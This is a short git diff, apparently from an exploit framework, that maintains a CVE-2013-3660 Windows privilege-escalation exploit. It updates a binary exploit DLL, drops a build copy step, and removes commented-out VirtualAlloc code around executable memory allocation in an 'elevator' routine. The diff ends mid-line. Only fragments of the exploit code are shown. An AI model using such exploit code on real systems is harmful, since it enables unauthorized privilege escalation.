diff --git a/data/exploits/cve-2013-3660/exploit.dll b/data/exploits/cve-2013-3660/exploit.dll index 706e1e1d24..cbb761b568 100755 Binary files a/data/exploits/cve-2013-3660/exploit.dll and b/data/exploits/cve-2013-3660/exploit.dll differ diff --git a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj index 1aae9cb3e1..ed6cacb681 100755 --- a/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj +++ b/external/source/exploits/cve-2013-3660/dll/reflective_dll.vcxproj @@ -191,7 +191,8 @@ MachineX86 - copy ..\Release\reflective_dll.dll ..\bin\ + + diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c index 29a70cc393..547fd1fd85 100755 --- a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c +++ b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveDll.c @@ -633,10 +633,6 @@ VOID elevator_complex_path() PAGE_SIZE * 2, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) { - //while (!VirtualAlloc(*DispatchRedirect & ~(0x1000 - 1), - // 0x1000 * 2, - // MEM_COMMIT | MEM_RESERVE, - // PAGE_EXECUTE_READWRITE)) { LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x", *DispatchRedirect & ~(PAGE_SIZE - 1),